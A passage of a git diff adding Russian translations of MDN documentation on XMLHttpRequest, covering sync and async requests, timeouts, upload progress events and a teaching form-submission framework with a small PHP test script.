
Строка 11 сохраняет в XHR объекте функцию, которая будет вызвана после успешного завершения ajax запроса. (эта функция передаётся 2 аргументов в вызове функции loadFile).

+ +

12 строка срезает псевдомассив аргументов, который был передан при вызове функции loadFile. Начиная с 3 аргумента все аргументы будут хранится в массиве arguments объекта xhr, который передаётся в функцию xhrSuccess и в конечном итоге будут использованы при вызове функции showMessage, которая будет вызвана функцией xhrSuccess .

+ +

Строка 15 устанавливает true для 3 параметра, что явно указывает на то, что запрос будет выполняться асинхронно.

+ +

Строка 16 инициализирует запрос.

+ +

Пример: использование timeout

+ +

При использовании асинхронных запросов, можно установить максимальное время ожидания ответа от сервера. Это делается путём установки значения свойства timeout XMLHttpRequest объекта, как показано ниже:

+ +
function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}
+ +

Отметим, что в код была добавлена функция обработчик события ontimeout.

+ +

Использование:

+ +
function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+
+ +

2 аргумент функции loadFile устанавливает время ожидание равное 2000ms.

+ +
+

Внимание: Поддержка timeout была добавлена начиная с {{Gecko("12.0")}}.

+
+ +

Synchronous request

+ +
Note: Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.
+ +

Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.

+ +

All new XHR features such as timeout or abort aren't allowed for synchronous XHR. Doing so would invoke InvalidAccessError.

+ +

Example: HTTP synchronous request

+ +

This example demonstrates how to make a simple synchronous request.

+ +
var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+
+ +

Line 3 sends the request. The null parameter indicates that no body content is needed for the GET request.

+ +

Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.

+ +

Example: Synchronous HTTP request from a Worker

+ +

One of the few cases in which a synchronous request does not usually block execution is the use of XMLHttpRequest within a Worker.

+ +

example.html (the main page):

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+</script>
+</head>
+<body></body>
+</html>
+
+ +

myFile.txt (the target of the synchronous XMLHttpRequest invocation):

+ +
Hello World!!
+
+ +

myTask.js (the Worker):

+ +
self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+
+ +
Note: The effect, because of the use of the Worker, is however asynchronous.
+ +

It could be useful in order to interact in the background with the server or to preload some content. See Using web workers for examples and details.

+ +

Adapting Sync XHR usecases to the Beacon API

+ +

There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the window.onunload and window.onbeforeunload events. You should consider using the fetch API with keepalive flag. When fetch with keepalive isn't available, you can consider using the navigator.sendBeacon API can support these use cases typically while delivering a good UX.

+ +

The following example (from the sendBeacon docs) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+
+ +

Using the sendBeacon() method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, without delaying the unload or affecting the performance of the next navigation.

+ +

The following example shows a theoretical analytics code pattern that submits data to a server by using the sendBeacon() method.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

See also

+ + diff --git a/files/ru/web/api/xmlhttprequest/timeout/index.html b/files/ru/web/api/xmlhttprequest/timeout/index.html new file mode 100644 index 0000000000..47631f9455 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/timeout/index.html @@ -0,0 +1,56 @@ +--- +title: XMLHttpRequest.timeout +slug: Web/API/XMLHttpRequest/timeout +tags: + - AJAX + - XMLHttpRequest + - Свойство + - Ссылка +translation_of: Web/API/XMLHttpRequest/timeout +--- +
{{APIRef('XMLHttpRequest')}}
+ +

Свойство XMLHttpRequest.timeout определяет количество миллисекунд, которое запрос будет выполняться, до того, как будет автоматически прерван. Имеет размер unsigned long. Значение по умолчанию - 0, определяет, что таймаута нет. Таймаут не должен быть использован в синхронных запросах XMLHttpRequests  в {{Glossary('среде документа')}}, или будет вызвано исключение InvalidAccessError. Когда случается таймаут - вызывается событие timeout. {{gecko_minversion_inline("12.0")}}

+ +
+
+
Примечание: Вы не можете использовать таймаут для синхронных запросов с окном - владельцем.
+
+
Использование таймаута с асинхронными запросами
+
+ +

В  Internet Explorer, свойство timeout может быть установлено только после вызова метода open() и до вызова метода send().

+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // time in milliseconds
+
+xhr.onload = function () {
+  // Запрос завершён. Здесь можно выполнить обработку.
+};
+
+xhr.ontimeout = function (e) {
+  // Таймаут. Здесь можно выполнить что-нибудь..
+};
+
+xhr.send(null);
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
diff --git a/files/ru/web/api/xmlhttprequest/upload/index.html b/files/ru/web/api/xmlhttprequest/upload/index.html new file mode 100644 index 0000000000..81006b8810 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/upload/index.html @@ -0,0 +1,116 @@ +--- +title: XMLHttpRequest.upload +slug: Web/API/XMLHttpRequest/upload +translation_of: Web/API/XMLHttpRequest/upload +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Свойство XMLHttpRequest.upload возвращает объект {{domxref("XMLHttpRequestUpload")}}, представляющий процесс загрузки. Это непрозрачный объект, но так как он является {{domxref("XMLHttpRequestEventTarget")}}, к нему можно добавить обработчики событий.

+ +

Обработчики событий, которые можно добавить к объекту загрузки:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОбработчикСобытие
onloadstartНачало запроса
onprogressПроисходит передача данных
onabortЗапрос был отменён
onerrorПри запросе произошла ошибка
onloadЗапрос завершился
ontimeoutЗапрос не завершился ко времени, указанному автором
onloadendЗапрос завершился (успешно или с ошибкой)
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}{{Spec2('XMLHttpRequest')}}Живой стандарт WHATWG
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Начальная поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Начальная поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html new file mode 100644 index 0000000000..f06ee51e88 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -0,0 +1,743 @@ +--- +title: Использование XMLHttpRequest +slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest +--- +

Это инструкция по использованию XMLHttpRequest, для взаимодействия через HTTP-протокол.

+ +

Для отправки HTTP-запроса нужно создать XMLHttpRequest-объект, открыть URL и отправить запрос. После выполнения запроса можно получить и обработать тело и статус ответа.

+ +
function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();
+ +

Типы запросов

+ +

Запрос, сделанный посредством XMLHttpRequest, может загружать данные синхронно или асинхронно. Это определяется третьим аргументом метода open()  объекта XMLHttpRequest: если он равен true или не определён, запрос выполнится асихнронно, в противном случае — синхронно. Детальное обсуждение и демонстрации обоих типов запросов могут быть найдены на странице synchronous and asynchronous requests. Использовать синхронные запросы приходится очень редко.

+ +
Примечание: Начиная с Gecko 30.0 {{ geckoRelease("30.0") }} не рекомендуется использовать синхронные запросы, так как они отрицательно влияют на пользовательский опыт.
+ +

Обработка запросов

+ +

Есть несколько типов атрибутов ответа, определённых спецификацией W3C XMLHttpRequest. Они сообщают запрашивающему важную информацию о статусе ответа. В некоторых случаях обработка нетекстовых типов ответа может потребовать дополнительных действий и анализа; эти случаи описаны ниже.

+ +

Анализ и использование свойства responseXML

+ +

Если скачать XML документ с помощью XMLHttpRequest, в свойстве responseXML будет объект DOM, содержащим распарсенный XML документ. Напрямую работать с ним будет сложно. Есть четыре основных способа анализа этого документа:

+ +
    +
  1. Использовать XPath, чтобы указывать на его части.
    2. +
  2. Использовать JSON, чтобы превратить его в дерево объектов JavaScript.
    3. +
  3. Вручную парсить и превращать XML в строки или объекты. 
    4. +
  4. Использовать XMLSerializer, чтобы превращать деревья DOM в строки или файлы.
    5. +
  5. Можно использовать регулярные выражения, если вы заранее знаете содержимое документа. Возможно, стоит удалить переносы строк, если вы используете регулярные выражения с оглядкой на переносы. Однако этот метод стоит использовать только в крайнем случае, ведь если XML изменится, хотя бы чуть-чуть, то регулярное выражение, скорее всего, не справится.
    6. +
+ +

Анализ и использование свойства responseText, содержащего HTML документ

+ +
Примечание: Спецификация W3C XMLHttpRequest позволяет парсить HTML через свойство XMLHttpRequest.responseXML. Подробнее об этом написано в статье HTML в XMLHttpRequest.
+ +

Если получить содержимое HTML страницы с помощью XMLHttpRequest, свойство responseText будет строкой, содержащей "кашу" изо всех HTML тэгов, с которой будет очень сложно работать. Есть три основных способа анализа этой HTML строки:

+ +
    +
  1. Использовать свойство XMLHttpRequest.responseXML.
    2. +
  2. Вставить содержимое в тело фрагмента документа с помощью fragment.body.innerHTML и работать уже с этим фрагментом.
    3. +
  3. Можно использовать регулярные выражения, если вы заранее знаете содержимое документа.
    4. +
+ +

Работа с двоичными данными

+ +

Хотя обычнно XMLHttpRequest используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить XMLHttpRequest посылать двоичные данные. Они используют метод  XMLHttpRequest.overrideMimeType().

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// получаем необработанные данные в виде двоичной строки
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+
+ +

Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты responseType, значительно облегчающие работу с двоичными данными:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+oReq.send();
+
+ +

Больше примеров можно найти на странице Отправка и получение двоичных данных.

+ +

Отслеживание процесса загрузки

+ +

XMLHttpRequest позволяет подписываться на различные события, которые могут произойти в процессе обработки запроса. Сюда входят периодические уведомления о состоянии запроса, сообщения об ошибках и так далее. 

+ +

Отслеживание событий процесса загрузки  следует спецификации Web API progress events: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.

+ +
var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// состояние передачи от сервера к клиенту (загрузка)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Невозможно вычислить состояние загрузки, так как размер неизвестен
+  }
+}
+
+function transferComplete(evt) {
+  alert("Загрузка завершена.");
+}
+
+function transferFailed(evt) {
+  alert("При загрузке файла произошла ошибка.");
+}
+
+function transferCanceled(evt) {
+  alert("Пользователь отменил загрузку.");
+}
+ +

На строчках 3-6 добавляются обработчики для различных событий, происходящих при передаче данных с помощью XMLHttpRequest.

+ +
Примечение: Обработчики нужно добавлять до того, как вызвать open(). В противном случае события не будут обработаны.
+ +

Обработчик события progress, представленный функцией updateProgress() в этом примере, получает количество байт, которое должно быть передано, и количество уже переданных байт в полях total и loaded. Но если поле lengthComputable равняется false, значит, длина сообщения неизвестна и будет отображаться как ноль.

+ +

События progress есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта XMLHttpRequest, как показано в примере выше; исходящих —для XMLHttpRequest.upload:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+ +
Примечание: события progress недоступны для протокола file: .
+ +
Примечание: На данный момент в событиях progress есть открытые ошибки, которые влияют на Firefox 25 для OS X и Linux.
+ +
+

Примечание: Начиная с {{Gecko("9.0")}}, можно быть уверенным, что события progress будут приходить для каждого пакета данных, включая последний пакет в случаях, когда он получен, и соединение закрыто прежде, чем будет создано событие progress. В этом случае, событие progress автоматическисоздастся, когда будет получено событие load для этого пакета. Это позволяет следить за процессом загрузки с помощью только событий progress.

+
+ +
+

Примечание: В {{Gecko("12.0")}}, если событие progress вызвано с  responseType "moz-blob", значение ответа будет {{domxref("Blob")}}, содержащим все данные, полученные на текущий момент.

+
+ +

Также возможно засечь все три события, завершающие загрузку (abort, load, or error) через событие loadend:

+ +
req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Передача данных завершена (но мы не знаем, успешно ли).");
+}
+
+ +

Заметьте, что событие loadend никак не сообщает, что вызвало конец передачи. Впрочем, это никак не мешает использовать его, если нужно сделать что-то вне зависимости от причины.

+ +

Отправка форм и загрузка файлов

+ +

Есть два способа передать данные форм с помощью экземпляра XMLHttpRequest:

+ + + +

Второй путь — самый простой и быстрый, но данные, полученные с его помощью, нельзя превратить в строки с помощью JSON.stringify. Первый путь, наоборот, самый сложный, но зато самый гибкий и мощный.

+ +

Используя только XMLHttpRequest

+ +

Отправка форм без FormData не требует других API, кроме FileReader для загрузки файлов.

+ +

Краткое введение в методы отправки

+ +

Есть четыре способа послать HTML {{ HTMLElement("form") }}:

+ + + +

Рассмотрим отправку формы с двумя полями, foo и baz. Если использовать метод POST, сервер получит строку, похожую на одну из показанных ниже, в зависимости от типа кодирования, который вы используете:

+ + + +

Instead, if you are using the GET method, a string like the following will be simply added to the URL:

+ +
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.
+ +

Небольшой классический фреймворк

+ +

Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо всех выполняемых операциях. Для, того чтобы отправлять формы с помощью чистого AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь полный(но все еще дидактический) фреймворк, который все же способен использовать все четыре способа отправки и, так же поддерживает файловую загрузку.

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with pure AJAX &ndash; MDN</title>
+<script type="text/javascript">
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status > 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" && oField.files.length > 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile < oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+</script>
+</head>
+<body>
+
+<h1>Sending forms with pure AJAX</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      Your name: <input type="text" name="user" />
+    </p>
+    <p>
+      Your message:<br />
+      <textarea name="message" cols="40" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+ +

Для того, чтобы произвести его тест, создайте страницу с названием register.php (и укажите атрибут action одной из данных форм) и добавьте данный минимальный контент

+ +
<?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+
+ +

Синтаксис данного скрипта представлен ниже:

+ +
AJAXSubmit(myForm);
+ +
Заметка: Данный фреимворк использует FileReader API для передачи загрузочных файлов. Это новыйAPI и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как экспериментальные. Если вам не требуется загружать бинарные файлы, то данный фреимворк работает в большинстве современных браузерах.
+ +
Note: The best way to send binary content is via ArrayBuffers or Blobs in conjuncton with the send() method and possibly the readAsArrayBuffer() method of the FileReader API. But, since the aim of this script is to work with a stringifiable raw data, we used the sendAsBinary() method in conjunction with the readAsBinaryString() method of the FileReader API. As such, the above script makes sense only when you are dealing with small files. If you do not intend to upload binary content, consider instead using the FormData API.
+ +
Note: The non-standard sendAsBinary method is considered deprecated as of Gecko 31 {{ geckoRelease(31) }} and will be removed soon. The standard send(Blob data) method can be used instead.
+ +

Используя объекты FormData

+ +

The FormData constructor lets you compile a set of key/value pairs to send using XMLHttpRequest. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the Using FormData Objects page. For didactic purpose only we post here a translation of the previous example transformed so as to make use of the FormData API. Note the brevity of the code:

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with FormData &ndash; MDN</title>
+<script type="text/javascript">
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true);
+    oReq.send(null);
+  }
+}
+</script>
+</head>
+<body>
+
+<h1>Sending forms with FormData</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<p>The text/plain encoding is not supported by the FormData API.</p>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
